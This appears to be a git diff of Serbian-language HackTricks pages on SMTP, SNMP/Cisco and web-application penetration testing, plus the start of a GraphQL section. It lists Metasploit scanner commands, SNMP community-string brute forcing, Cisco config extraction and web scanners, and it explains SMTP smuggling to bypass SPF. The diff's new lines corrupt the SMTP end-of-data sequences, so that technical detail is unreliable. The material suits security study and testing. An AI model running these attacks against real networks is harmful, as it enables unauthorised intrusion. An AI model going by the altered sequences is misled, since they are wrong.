* [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/)
|
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/)
|
||||||
|
|
||||||
## HackTricks Automatske Komande
|
### HackTricks Automatske Komande
|
||||||
|
|
||||||
```
|
```
|
||||||
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
|
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 25,465,587 #Comma separated if there is more than one.
|
Port_Number: 25,465,587 #Comma separated if there is more than one.
|
||||||
|
@ -585,22 +606,9 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||||
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
|
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
|
||||||
|
|
||||||
```
|
```
|
||||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
<img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa preko 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa preko 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Drugi načini podrške HackTricks-u:
|
|
||||||
|
|
||||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -29,14 +29,14 @@ Ovo je zato što u SMTP protokolu, **podaci poruke** koja se šalje putem e-poš
|
||||||
Da bi iskoristio ovu ranjivost, napadač mora poslati neke podatke koje **Odlazni SMTP server smatra da je samo 1 e-poruka, ali Ulazni SMTP server misli da ima više e-poruka**.
|
Da bi iskoristio ovu ranjivost, napadač mora poslati neke podatke koje **Odlazni SMTP server smatra da je samo 1 e-poruka, ali Ulazni SMTP server misli da ima više e-poruka**.
|
||||||
|
|
||||||
Istraživači su otkrili da različiti **Ulazni serveri smatraju različite karaktere kao kraj podataka** e-poruke koje Odlazni serveri ne smatraju.\
|
Istraživači su otkrili da različiti **Ulazni serveri smatraju različite karaktere kao kraj podataka** e-poruke koje Odlazni serveri ne smatraju.\
|
||||||
Na primer, redovan kraj podataka je `\r\n.\r\n`. Ali ako Ulazni SMTP server takođe podržava `\n.\n`, napadač bi mogao samo dodati **te podatke u svoju e-poštu i početi da navodi SMTP komande** novih kako bi je prokrijumčario baš kao na prethodnoj slici.
|
Na primer, redovan kraj podataka je `\r\n.\r`. Ali ako Ulazni SMTP server takođe podržava `\n.`, napadač bi mogao samo dodati **te podatke u svoju e-poštu i početi da navodi SMTP komande** novih kako bi je prokrijumčario baš kao na prethodnoj slici.
|
||||||
|
|
||||||
Naravno, ovo bi moglo raditi samo ako **Odlazni SMTP server takođe ne tretira ove podatke** kao kraj podataka poruke, jer u tom slučaju će videti 2 e-poruke umesto samo 1, tako da je na kraju ovo nesinhronizacija koja se zloupotrebljava u ovoj ranjivosti.
|
Naravno, ovo bi moglo raditi samo ako **Odlazni SMTP server takođe ne tretira ove podatke** kao kraj podataka poruke, jer u tom slučaju će videti 2 e-poruke umesto samo 1, tako da je na kraju ovo nesinhronizacija koja se zloupotrebljava u ovoj ranjivosti.
|
||||||
|
|
||||||
Potencijalni podaci nesinhronizacije:
|
Potencijalni podaci nesinhronizacije:
|
||||||
|
|
||||||
* `\n.\n`
|
* `\n.`
|
||||||
* `\n.\r\n`
|
* `\n.\r`
|
||||||
|
|
||||||
Takođe obratite pažnju da se SPF zaobilazi jer ako prokrijumčarite e-poruku sa `admin@outlook.com` iz e-pošte `user@outlook.com`, **pošiljalac je i dalje `outlook.com`.**
|
Takođe obratite pažnju da se SPF zaobilazi jer ako prokrijumčarite e-poruku sa `admin@outlook.com` iz e-pošte `user@outlook.com`, **pošiljalac je i dalje `outlook.com`.**
|
||||||
|
|
||||||
|
|
|
@ -23,9 +23,11 @@ Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **za
|
||||||
**SNMP** funkcioniše preko UDP sa portovima 161/UDP za opšte poruke i 162/UDP za trap poruke. Ovaj protokol se oslanja na zajedničke stringove, koji služe kao lozinke koje omogućavaju komunikaciju između SNMP agenata i servera. Ovi stringovi su ključni jer određuju nivoe pristupa, posebno **samo za čitanje (RO) ili čitanje i pisanje (RW) dozvole**. Značajan vektor napada za pentestere je **bruteforsovanje zajedničkih stringova**, sa ciljem prodiranja u mrežne uređaje.
|
**SNMP** funkcioniše preko UDP sa portovima 161/UDP za opšte poruke i 162/UDP za trap poruke. Ovaj protokol se oslanja na zajedničke stringove, koji služe kao lozinke koje omogućavaju komunikaciju između SNMP agenata i servera. Ovi stringovi su ključni jer određuju nivoe pristupa, posebno **samo za čitanje (RO) ili čitanje i pisanje (RW) dozvole**. Značajan vektor napada za pentestere je **bruteforsovanje zajedničkih stringova**, sa ciljem prodiranja u mrežne uređaje.
|
||||||
|
|
||||||
Praktičan alat za izvođenje takvih napada brute-force je [**onesixtyone**](https://github.com/trailofbits/onesixtyone), koji zahteva listu potencijalnih zajedničkih stringova i IP adrese ciljeva:
|
Praktičan alat za izvođenje takvih napada brute-force je [**onesixtyone**](https://github.com/trailofbits/onesixtyone), koji zahteva listu potencijalnih zajedničkih stringova i IP adrese ciljeva:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
onesixtyone -c communitystrings -i targets
|
onesixtyone -c communitystrings -i targets
|
||||||
```
|
```
|
||||||
|
|
||||||
#### `cisco_config_tftp`
|
#### `cisco_config_tftp`
|
||||||
|
|
||||||
Metasploit okvir sadrži modul `cisco_config_tftp`, olakšavajući ekstrakciju konfiguracija uređaja, uz uslov da se stekne RW zajednički niz. Osnovni parametri za ovu operaciju uključuju:
|
Metasploit okvir sadrži modul `cisco_config_tftp`, olakšavajući ekstrakciju konfiguracija uređaja, uz uslov da se stekne RW zajednički niz. Osnovni parametri za ovu operaciju uključuju:
|
||||||
|
@ -40,16 +42,18 @@ Nakon konfiguracije, ovaj modul omogućava preuzimanje postavki uređaja direktn
|
||||||
#### `snmp_enum`
|
#### `snmp_enum`
|
||||||
|
|
||||||
Još jedan Metasploit modul, **`snmp_enum`**, specijalizovan je za prikupljanje detaljnih informacija o hardveru. Radi sa bilo kojim tipom zajedničkog niza i za uspešno izvršavanje zahteva IP adresu cilja:
|
Još jedan Metasploit modul, **`snmp_enum`**, specijalizovan je za prikupljanje detaljnih informacija o hardveru. Radi sa bilo kojim tipom zajedničkog niza i za uspešno izvršavanje zahteva IP adresu cilja:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
||||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||||
```
|
```
|
||||||
|
|
||||||
## Reference
|
## Reference
|
||||||
|
|
||||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/rs/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje onoga što se ne može hakovati - **mi zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_).
|
Ako ste zainteresovani za **hakersku karijeru** i hakovanje onoga što se ne može hakovati - **mi zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_).
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# 80,443 - Metodologija testiranja penetracije veb aplikacija
|
# 80,443 - Pentesting Web Methodology
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -25,6 +25,7 @@ Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje onoga što se ne
|
||||||
Veb servis je naj**češći i najobimniji servis** i postoji mnogo **različitih vrsta ranjivosti**.
|
Veb servis je naj**češći i najobimniji servis** i postoji mnogo **različitih vrsta ranjivosti**.
|
||||||
|
|
||||||
**Podrazumevani port:** 80 (HTTP), 443(HTTPS)
|
**Podrazumevani port:** 80 (HTTP), 443(HTTPS)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
80/tcp open http
|
80/tcp open http
|
||||||
|
@ -35,6 +36,7 @@ PORT STATE SERVICE
|
||||||
nc -v domain.com 80 # GET / HTTP/1.0
|
nc -v domain.com 80 # GET / HTTP/1.0
|
||||||
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||||
```
|
```
|
||||||
|
|
||||||
### Vodič za Web API
|
### Vodič za Web API
|
||||||
|
|
||||||
{% content-ref url="web-api-pentesting.md" %}
|
{% content-ref url="web-api-pentesting.md" %}
|
||||||
|
@ -58,7 +60,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||||
* [ ] **Provera rezervnih kopija**: Testirajte da li možete pronaći **rezervne kopije** otkrivenih fajlova dodavanjem uobičajenih ekstenzija za rezervne kopije.
|
* [ ] **Provera rezervnih kopija**: Testirajte da li možete pronaći **rezervne kopije** otkrivenih fajlova dodavanjem uobičajenih ekstenzija za rezervne kopije.
|
||||||
* [ ] **Brute-Force parametara**: Pokušajte da **pronađete skrivene parametre**.
|
* [ ] **Brute-Force parametara**: Pokušajte da **pronađete skrivene parametre**.
|
||||||
* [ ] Kada ste **identifikovali** sve moguće **endpoints** koji prihvataju **korisnički unos**, proverite sve vrste **ranjivosti** povezane sa tim.
|
* [ ] Kada ste **identifikovali** sve moguće **endpoints** koji prihvataju **korisnički unos**, proverite sve vrste **ranjivosti** povezane sa tim.
|
||||||
* [ ] [Pratite ovu listu za proveru](../../pentesting-web/web-vulnerabilities-methodology/)
|
* [ ] [Pratite ovu listu za proveru](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||||
|
|
||||||
## Verzija servera (Ranjiva?)
|
## Verzija servera (Ranjiva?)
|
||||||
|
|
||||||
|
@ -66,12 +68,14 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||||
|
|
||||||
Proverite da li postoje **poznate ranjivosti** za verziju servera koja se koristi.\
|
Proverite da li postoje **poznate ranjivosti** za verziju servera koja se koristi.\
|
||||||
**HTTP zaglavlja i kolačići odgovora** mogu biti veoma korisni za **identifikaciju** korišćenih **tehnologija** i/ili **verzije**. **Nmap skeniranje** može identifikovati verziju servera, ali mogu biti korisni i alati [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ili [**https://builtwith.com/**](https://builtwith.com)**:**
|
**HTTP zaglavlja i kolačići odgovora** mogu biti veoma korisni za **identifikaciju** korišćenih **tehnologija** i/ili **verzije**. **Nmap skeniranje** može identifikovati verziju servera, ali mogu biti korisni i alati [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ili [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
whatweb -a 1 <URL> #Stealthy
|
whatweb -a 1 <URL> #Stealthy
|
||||||
whatweb -a 3 <URL> #Aggresive
|
whatweb -a 3 <URL> #Aggresive
|
||||||
webtech -u <URL>
|
webtech -u <URL>
|
||||||
webanalyze -host https://google.com -crawl 2
|
webanalyze -host https://google.com -crawl 2
|
||||||
```
|
```
|
||||||
|
|
||||||
Pretraga **za** [**ranjivosti veb aplikacije** **verzije**](../../generic-methodologies-and-resources/search-exploits.md)
|
Pretraga **za** [**ranjivosti veb aplikacije** **verzije**](../../generic-methodologies-and-resources/search-exploits.md)
|
||||||
|
|
||||||
### **Provera da li postoji WAF**
|
### **Provera da li postoji WAF**
|
||||||
|
@ -97,7 +101,7 @@ Neki **trikovi** za **pronalaženje ranjivosti** u različitim dobro poznatim **
|
||||||
* [**H2 - Java SQL baza podataka**](h2-java-sql-database.md)
|
* [**H2 - Java SQL baza podataka**](h2-java-sql-database.md)
|
||||||
* [**IIS trikovi**](iis-internet-information-services.md)
|
* [**IIS trikovi**](iis-internet-information-services.md)
|
||||||
* [**JBOSS**](jboss.md)
|
* [**JBOSS**](jboss.md)
|
||||||
* [**Jenkins**](broken-reference/)
|
* [**Jenkins**](https://github.com/carlospolop/hacktricks/blob/rs/network-services-pentesting/pentesting-web/broken-reference/README.md)
|
||||||
* [**Jira**](jira.md)
|
* [**Jira**](jira.md)
|
||||||
* [**Joomla**](joomla.md)
|
* [**Joomla**](joomla.md)
|
||||||
* [**JSP**](jsp.md)
|
* [**JSP**](jsp.md)
|
||||||
|
@ -108,7 +112,7 @@ Neki **trikovi** za **pronalaženje ranjivosti** u različitim dobro poznatim **
|
||||||
* [**Python**](python.md)
|
* [**Python**](python.md)
|
||||||
* [**Spring Actuators**](spring-actuators.md)
|
* [**Spring Actuators**](spring-actuators.md)
|
||||||
* [**Symphony**](symphony.md)
|
* [**Symphony**](symphony.md)
|
||||||
* [**Tomcat**](tomcat.md)
|
* [**Tomcat**](tomcat/)
|
||||||
* [**VMWare**](vmware-esx-vcenter....md)
|
* [**VMWare**](vmware-esx-vcenter....md)
|
||||||
* [**Web API Pentesting**](web-api-pentesting.md)
|
* [**Web API Pentesting**](web-api-pentesting.md)
|
||||||
* [**WebDav**](put-method-webdav.md)
|
* [**WebDav**](put-method-webdav.md)
|
||||||
|
@ -137,6 +141,7 @@ Ako je **izvorni kod** aplikacije dostupan na **githubu**, osim što ćete izvr
|
||||||
### Automatski skeneri
|
### Automatski skeneri
|
||||||
|
|
||||||
#### Automatski skeneri opšte namene
|
#### Automatski skeneri opšte namene
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nikto -h <URL>
|
nikto -h <URL>
|
||||||
whatweb -a 4 <URL>
|
whatweb -a 4 <URL>
|
||||||
|
@ -148,21 +153,24 @@ nuclei -ut && nuclei -target <URL>
|
||||||
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
|
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
|
||||||
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
|
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Skeneri za CMS
|
#### Skeneri za CMS
|
||||||
|
|
||||||
Ako se koristi CMS, ne zaboravite **pokrenuti skener**, možda pronađete nešto zanimljivo:
|
Ako se koristi CMS, ne zaboravite **pokrenuti skener**, možda pronađete nešto zanimljivo:
|
||||||
|
|
||||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat.md)**, Railo, Axis2, Glassfish**\
|
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** web sajtove za sigurnosne probleme. (GUI)\
|
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** web sajtove za sigurnosne probleme. (GUI)\
|
||||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
|
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
|
||||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **ili** [**(M)oodle**](moodle.md)\
|
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **ili** [**(M)oodle**](moodle.md)\
|
||||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cmsmap [-f W] -F -d <URL>
|
cmsmap [-f W] -F -d <URL>
|
||||||
wpscan --force update -e --url <URL>
|
wpscan --force update -e --url <URL>
|
||||||
joomscan --ec -u <URL>
|
joomscan --ec -u <URL>
|
||||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||||
```
|
```
|
||||||
|
|
||||||
> U ovom trenutku već biste trebali imati neke informacije o web serveru koji koristi klijent (ako su dostupni podaci) i neke trikove na umu tokom testa. Ako imate sreće, možda ste čak pronašli CMS i pokrenuli neki skener.
|
> U ovom trenutku već biste trebali imati neke informacije o web serveru koji koristi klijent (ako su dostupni podaci) i neke trikove na umu tokom testa. Ako imate sreće, možda ste čak pronašli CMS i pokrenuli neki skener.
|
||||||
|
|
||||||
## Otkrivanje web aplikacija korak po korak
|
## Otkrivanje web aplikacija korak po korak
|
||||||
|
@ -201,7 +209,8 @@ Ako otkrijete da je **WebDav** **omogućen** ali nemate dovoljno dozvola za **ot
|
||||||
* Ako aplikacija **ne zahteva korišćenje HTTPS** od korisnika ni u jednom trenutku, onda je **ranjiva na MitM** (napad usred čoveka)
|
* Ako aplikacija **ne zahteva korišćenje HTTPS** od korisnika ni u jednom trenutku, onda je **ranjiva na MitM** (napad usred čoveka)
|
||||||
* Ako aplikacija **šalje osetljive podatke (šifre) putem HTTP**. Tada je to visoka ranjivost.
|
* Ako aplikacija **šalje osetljive podatke (šifre) putem HTTP**. Tada je to visoka ranjivost.
|
||||||
|
|
||||||
Koristite [**testssl.sh**](https://github.com/drwetter/testssl.sh) za provere **ranjivosti** (U programima za Bug Bounty verovatno ovakve vrste ranjivosti neće biti prihvaćene) i koristite [**a2sv** ](https://github.com/hahwul/a2sv) za ponovnu proveru ranjivosti:
|
Koristite [**testssl.sh**](https://github.com/drwetter/testssl.sh) za provere **ranjivosti** (U programima za Bug Bounty verovatno ovakve vrste ranjivosti neće biti prihvaćene) i koristite [**a2sv** ](https://github.com/hahwul/a2sv)za ponovnu proveru ranjivosti:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||||
#Use the --htmlfile to save the output inside an htmlfile also
|
#Use the --htmlfile to save the output inside an htmlfile also
|
||||||
|
@ -210,6 +219,7 @@ Koristite [**testssl.sh**](https://github.com/drwetter/testssl.sh) za provere **
|
||||||
sslscan <host:port>
|
sslscan <host:port>
|
||||||
sslyze --regular <ip:port>
|
sslyze --regular <ip:port>
|
||||||
```
|
```
|
||||||
|
|
||||||
Informacije o ranjivostima SSL/TLS protokola:
|
Informacije o ranjivostima SSL/TLS protokola:
|
||||||
|
|
||||||
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||||
|
@ -323,7 +333,7 @@ _Napomena da svaki put kada se otkrije nova direktorijum tokom brute-forcinga il
|
||||||
|
|
||||||
**502 Proxy Error**
|
**502 Proxy Error**
|
||||||
|
|
||||||
Ako bilo koja stranica **odgovori** tim **kodom**, verovatno je loše konfigurisan proxy. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host zaglavljem i ostalim uobičajenim zaglavljima), **proxy** će pokušati da pristupi _**google.com**_ **i otkrićete SSRF.
|
Ako bilo koja stranica **odgovori** tim **kodom**, verovatno je loše konfigurisan proxy. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host zaglavljem i ostalim uobičajenim zaglavljima), **proxy** će pokušati da pristupi _**google.com**_ \*\*i otkrićete SSRF.
|
||||||
|
|
||||||
**NTLM Autentikacija - Otkrivanje informacija**
|
**NTLM Autentikacija - Otkrivanje informacija**
|
||||||
|
|
||||||
|
@ -334,12 +344,13 @@ Ovo možete **automatizovati** koristeći **nmap plugin** "_http-ntlm-info.nse_"
|
||||||
**HTTP Redirect (CTF)**
|
**HTTP Redirect (CTF)**
|
||||||
|
|
||||||
Moguće je **ubaciti sadržaj** unutar **Preusmerenja**. Taj sadržaj **neće biti prikazan korisniku** (jer će pretraživač izvršiti preusmerenje), ali nešto bi moglo biti **sakriveno** unutra.
|
Moguće je **ubaciti sadržaj** unutar **Preusmerenja**. Taj sadržaj **neće biti prikazan korisniku** (jer će pretraživač izvršiti preusmerenje), ali nešto bi moglo biti **sakriveno** unutra.
|
||||||
|
|
||||||
### Provera ranjivosti veb stranica
|
### Provera ranjivosti veb stranica
|
||||||
|
|
||||||
Sada kada je obavljena sveobuhvatna enumeracija veb aplikacije, vreme je da se provere mnoge moguće ranjivosti. Možete pronaći listu za proveru ovde:
|
Sada kada je obavljena sveobuhvatna enumeracija veb aplikacije, vreme je da se provere mnoge moguće ranjivosti. Možete pronaći listu za proveru ovde:
|
||||||
|
|
||||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology/" %}
|
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
|
||||||
[web-vulnerabilities-methodology](../../pentesting-web/web-vulnerabilities-methodology/)
|
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Pronađite više informacija o veb ranjivostima na:
|
Pronađite više informacija o veb ranjivostima na:
|
||||||
|
@ -352,13 +363,14 @@ Pronađite više informacija o veb ranjivostima na:
|
||||||
|
|
||||||
Možete koristiti alate poput [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) da biste pratili stranice za modifikacije koje bi mogle uneti ranjivosti.
|
Možete koristiti alate poput [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) da biste pratili stranice za modifikacije koje bi mogle uneti ranjivosti.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/rs/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako vas zanima **hakerska karijera** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
|
Ako vas zanima **hakerska karijera** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
### Automatske komande HackTricks
|
### Automatske komande HackTricks
|
||||||
|
|
||||||
```
|
```
|
||||||
Protocol_Name: Web #Protocol Abbreviation if there is one.
|
Protocol_Name: Web #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 80,443 #Comma separated if there is more than one.
|
Port_Number: 80,443 #Comma separated if there is more than one.
|
||||||
|
@ -428,6 +440,7 @@ Name: Ffuf Vhost
|
||||||
Description: Simple Scan with Ffuf for discovering additional vhosts
|
Description: Simple Scan with Ffuf for discovering additional vhosts
|
||||||
Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:FUZZ.{Domain_Name}" -c -mc all {Ffuf_Filters}
|
Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:FUZZ.{Domain_Name}" -c -mc all {Ffuf_Filters}
|
||||||
```
|
```
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
|
@ -44,9 +44,11 @@ Alat [**graphw00f**](https://github.com/dolevf/graphw00f) je sposoban da otkrije
|
||||||
#### Univerzalni upiti <a href="#universal-queries" id="universal-queries"></a>
|
#### Univerzalni upiti <a href="#universal-queries" id="universal-queries"></a>
|
||||||
|
|
||||||
Da biste proverili da li je URL GraphQL servis, može se poslati **univerzalni upit**, `query{__typename}`. Ako odgovor sadrži `{"data": {"__typename": "Query"}}`, potvrđuje da URL hostuje GraphQL endpoint. Ovaj metod se oslanja na GraphQL-ovo polje `__typename`, koje otkriva tip upitanog objekta.
|
